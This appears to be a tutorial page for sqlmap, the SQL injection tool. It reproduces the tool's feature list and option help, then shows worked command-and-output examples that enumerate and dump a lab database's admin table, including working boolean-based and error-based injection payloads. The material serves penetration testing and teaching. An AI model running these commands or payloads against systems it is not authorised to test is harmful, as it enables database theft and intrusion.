SQLMap

Description

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Features

  • Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB database management systems.

  • Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band.

  • Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.

  • Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.

  • Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.

  • Support to dump database tables entirely, a range of entries or specific columns as per user’s choice. The user can also choose to dump only a range of characters from each column’s entry.

  • Support to search for specific database names, specific tables across all databases or specific columns across all databases’ tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns’ names contain string like name and pass.

  • Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.

  • Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.

  • Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user’s choice.

  • Support for database process’ user privilege escalation via Metasploit’s Meterpreter getsystem command.

Usage

Syntax

sqlmap [options]

Options

  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be specified to set the source to
    get target urls from

    -d DIRECT           Direct connection to the database
    -u URL, --url=URL   Target url
    -l LOGFILE          Parse targets from Burp or WebScarab proxy logs
    -m BULKFILE         Scan multiple targets enlisted in a given textual file
    -r REQUESTFILE      Load HTTP request from a file
    -g GOOGLEDORK       Process Google dork results as target urls
    -c CONFIGFILE       Load options from a configuration INI file

  Request:
    These options can be used to specify how to connect to the target url

    --data=DATA         Data string to be sent through POST
    --param-del=PDEL    Character used for splitting parameter values
    --cookie=COOKIE     HTTP Cookie header
    --load-cookies=LOC  File containing cookies in Netscape/wget format
    --cookie-urlencode  URL Encode generated cookie injections
    --drop-set-cookie   Ignore Set-Cookie header from response
    --user-agent=AGENT  HTTP User-Agent header
    --random-agent      Use randomly selected HTTP User-Agent header
    --randomize=RPARAM  Randomly change value for given parameter(s)
    --force-ssl         Force usage of SSL/HTTPS requests
    --host=HOST         HTTP Host header
    --referer=REFERER   HTTP Referer header
    --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")
    --auth-type=ATYPE   HTTP authentication type (Basic, Digest or NTLM)
    --auth-cred=ACRED   HTTP authentication credentials (name:password)
    --auth-cert=ACERT   HTTP authentication certificate (key_file,cert_file)
    --proxy=PROXY       Use a HTTP proxy to connect to the target url
    --proxy-cred=PCRED  HTTP proxy authentication credentials (name:password)
    --ignore-proxy      Ignore system default HTTP proxy
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --retries=RETRIES   Retries when the connection timeouts (default 3)
    --scope=SCOPE       Regexp to filter targets from provided proxy log
    --safe-url=SAFURL   Url address to visit frequently during testing
    --safe-freq=SAFREQ  Test requests between two visits to a given safe url
    --skip-urlencode    Skip URL encoding of POST data
    --eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

  Optimization:
    These options can be used to optimize the performance of sqlmap

    -o                  Turn on all optimization switches
    --predict-output    Predict common queries output
    --keep-alive        Use persistent HTTP(s) connections
    --null-connection   Retrieve page length without actual HTTP response body
    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to this value
    --os=OS             Force back-end DBMS operating system to this value
    --invalid-bignum    Use big numbers for invalidating values
    --invalid-logical   Use logical operations for invalidating values
    --no-cast           Turn off payload casting mechanism
    --prefix=PREFIX     Injection payload prefix string
    --suffix=SUFFIX     Injection payload suffix string
    --skip=SKIP         Skip testing for given parameter(s)
    --tamper=TAMPER     Use given script(s) for tampering injection data

  Detection:
    These options can be used to specify how to parse and compare page
    content from HTTP responses when using blind SQL injection technique

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (0-3, default 1)
    --string=STRING     String to match when query is evaluated to True
    --regexp=REGEXP     Regexp to match when query is evaluated to True
    --code=CODE         HTTP code to match when query is evaluated to True
    --text-only         Compare pages based only on the textual content
    --titles            Compare pages based only on their titles

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH    SQL injection techniques to test for (default "BEUST")
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
    --union-char=UCHAR  Character to use for bruteforcing number of columns
    --dns-domain=DNAME  Domain name used for DNS exfiltration attack

  Fingerprint:
    -f, --fingerprint   Perform an extensive DBMS version fingerprint

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements

    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --is-dba            Detect if the DBMS current user is DBA
    --users             Enumerate DBMS users
    --passwords         Enumerate DBMS users password hashes
    --privileges        Enumerate DBMS users privileges
    --roles             Enumerate DBMS users roles
    --dbs               Enumerate DBMS databases
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --count             Retrieve number of entries for table(s)
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    --search            Search column(s), table(s) and/or database name(s)
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table to enumerate
    -C COL              DBMS database table column to enumerate
    -U USER             DBMS user to enumerate
    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
    --start=LIMITSTART  First query output entry to retrieve
    --stop=LIMITSTOP    Last query output entry to retrieve
    --first=FIRSTCHAR   First query output word character to retrieve
    --last=LASTCHAR     Last query output word character to retrieve
    --sql-query=QUERY   SQL statement to be executed
    --sql-shell         Prompt for an interactive SQL shell

  Brute force:
    These options can be used to run brute force checks

    --common-tables     Check existence of common tables
    --common-columns    Check existence of common columns

  User-defined function injection:
    These options can be used to create custom user-defined functions

    --udf-inject        Inject custom user-defined functions
    --shared-lib=SHLIB  Local path of the shared library

  File system access:
    These options can be used to access the back-end database management
    system underlying file system

    --file-read=RFILE   Read a file from the back-end DBMS file system
    --file-write=WFILE  Write a local file on the back-end DBMS file system
    --file-dest=DFILE   Back-end DBMS absolute filepath to write to

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC
    --os-smbrelay       One click prompt for an OOB shell, meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          Database process' user privilege escalation
    --msf-path=MSFPATH  Local path where Metasploit Framework is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

  Windows registry access:
    These options can be used to access the back-end database management
    system Windows registry

    --reg-read          Read a Windows registry key value
    --reg-add           Write a Windows registry key value data
    --reg-del           Delete a Windows registry key value
    --reg-key=REGKEY    Windows registry key
    --reg-value=REGVAL  Windows registry key value
    --reg-data=REGDATA  Windows registry key value data
    --reg-type=REGTYPE  Windows registry key value type

  General:
    These options can be used to set some general working parameters

    -t TRAFFICFILE      Log all HTTP traffic into a textual file
    --batch             Never ask for user input, use the default behaviour
    --charset=CHARSET   Force character encoding used for data retrieval
    --check-tor         Check to see if Tor is used properly
    --crawl=CRAWLDEPTH  Crawl the website starting from the target url
    --csv-del=CSVDEL    Delimiting character used in CSV output (default ",")
    --dbms-cred=DCRED   DBMS authentication credentials (user:password)
    --eta               Display for each output the estimated time of arrival
    --flush-session     Flush session files for current target
    --forms             Parse and test forms on target url
    --fresh-queries     Ignores query results stored in session file
    --hex               Uses DBMS hex function(s) for data retrieval
    --output-dir=ODIR   Custom output directory path
    --parse-errors      Parse and display DBMS error messages from responses
    --replicate         Replicate dumped data into a sqlite3 database
    --save              Save options to a configuration INI file
    --tor               Use Tor anonymity network
    --tor-port=TORPORT  Set Tor proxy port other than default
    --tor-type=TORTYPE  Set Tor proxy type (HTTP - default, SOCKS4 or SOCKS5)
    --update            Update sqlmap

  Miscellaneous:
    -z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
    --beep              Sound alert when SQL injection found
    --check-payload     Offline WAF/IPS/IDS payload detection testing
    --check-waf         Check for existence of WAF/IPS/IDS protection
    --cleanup           Clean up the DBMS by sqlmap specific UDF and tables
    --dependencies      Check for missing sqlmap dependencies
    --disable-hash      Disable password hash cracking mechanism
    --disable-like      Disable LIKE search of identificator names
    --gpage=GOOGLEPAGE  Use Google dork results from specified page number
    --mobile            Imitate smartphone through HTTP User-Agent header
    --page-rank         Display page rank (PR) for Google dork results
    --purge-output      Safely remove all content from output directory
    --smart             Conduct through tests only if positive heuristic(s)
    --test-filter=TSTF  Select tests by payloads and/or titles (e.g. ROW)
    --wizard            Simple wizard interface for beginner users

Example

Discovering Database

cyborg@cyborg:~$ sudo sqlmap -u "http://192.168.1.15/vuln.php?id=1" --dbs

 sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
 http://sqlmap.org


[*] starting at 12:41:32

[12:41:33] [INFO] testing connection to the target url
[12:41:34] [INFO] testing if the url is stable, wait a few seconds
[12:41:37] [INFO] url is stable
[12:41:37] [INFO] testing if GET parameter 'id' is dynamic
[12:41:38] [INFO] confirming that GET parameter 'id' is dynamic
[12:41:39] [INFO] GET parameter 'id' is dynamic
[12:41:41] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL)
[12:41:41] [INFO] testing for SQL injection on GET parameter 'id'
[12:42:30] [INFO] target url appears to have 6 columns in query
[12:42:33] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 17 HTTP(s) requests:
---
 Place: GET
 Parameter: id
 Type: boolean-based blind
 Title: AND boolean-based blind - WHERE or HAVING clause
 Payload: id=1 AND 3540=3540

 Type: error-based
 Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
 Payload: id=1 AND (SELECT 9231 FROM(SELECT COUNT(*),CONCAT(0x3a696a6c3a,(SELECT (CASE WHEN (9231=9231) THEN 1 ELSE 0 END)),0x3a64786c3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

---

[12:43:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux cyborg_miniOS 5
web application technology: Apache 2.2.3, PHP 5.5.27
back-end DBMS: MySQL 5.0
[12:43:33] [INFO] fetching database names
available databases [3]:
[*] vulnerabledb
[*] information_schema
[*] test

[12:43:34] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.1.15'

[*] shutting down at 12:43:34

Finding Tables

cyborg@cyborg:~$ sudo sqlmap -u “http://192.168.1.15/vuln.php?id=1” –tables -D vulnerabledb

sqlmap/1.0-dev-25eca9d – automatic SQL injection and database takeover tool
http://sqlmap.org
[*] starting at 12:44:15

[12:44:16] [INFO] resuming back-end DBMS ‘mysql’
[12:44:16] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: id=1 AND 3540=3540

Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE or HAVING clause
Payload: id=1 AND (SELECT 9231 FROM(SELECT COUNT(*),CONCAT(0x3a696a6c3a,(SELECT (CASE WHEN (9231=9231) THEN 1 ELSE 0 END)),0x3a64786c3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

[12:44:17] [INFO] fetching tables for database: ‘vulnerabledb
Database: vulnerabledb
[3 tables]
+—————–+
| user |
| testd |
| admins |
+—————–+

[12:44:19] [INFO] fetched data logged to text files under ‘/pentest/database/sqlmap/output/192.168.1.15

[*] shutting down at 12:44:19

Finding Columns

cyborg@cyborg:~$ sudo sqlmap -u “http://192.168.1.15/vuln.php?id=1” –columns -D vulnerabledb -T admins

sqlmap/1.0-dev-25eca9d – automatic SQL injection and database takeover tool
http://sqlmap.org

[*] starting at 12:45:31

[12:45:32] [INFO] resuming back-end DBMS ‘mysql
[12:45:32] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: id=1 AND 3540=3540
[12:45:34] [INFO] fetching columns for table ‘admins’ in database ‘vulnerabledb
Database: vulnerabledb
Table: admins
[3 columns]
+—————-+———+
| Column | Type |
+—————-+———+
| admin_id | int(10) |
| admin_password | text |
| admin_username | text |
+—————-+———+

[12:45:35] [INFO] fetched data logged to text files under ‘/pentest/database/sqlmap/output/192.168.1.15

[*] shutting down at 12:45:35

Dumping Data

cyborg@cyborg:~$ sudo sqlmap -u “http://192.168.1.15/vuln.php?id=1” –dump -D vulnerabledb -T admins

sqlmap/1.0-dev-25eca9d – automatic SQL injection and database takeover tool
http://sqlmap.org

[*] starting at 12:45:57

[12:45:58] [INFO] resuming back-end DBMS ‘mysql
[12:45:58] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: id=1 AND 3540=3540
[12:45:59] [INFO] fetching columns for table ‘admins‘ in database ‘vulnerabledb
[12:45:59] [INFO] fetching entries for table ‘admins‘ in database ‘vulnerabledb
[12:46:02] [WARNING] reflective value(s) found and filtering out
Database: vulnerabledb
Table: admins
[1 entries]
+———-+—————-+—————-+
| admin_id | admin_password | admin_username |
+———-+—————-+—————-+
+      *        +  **********   +     ********    +
+———-+—————-+—————-+

[12:46:02] [INFO] table ‘vulnerabledb.admins‘ dumped to CSV file ‘/pentest/database/sqlmap/output/192.168.1.15/dump/vulnerabledb/admins.csv’
[12:46:02] [INFO] fetched data logged to text files under ‘/pentest/database/sqlmap/output/192.168.1.15

[*] shutting down at 12:46:02

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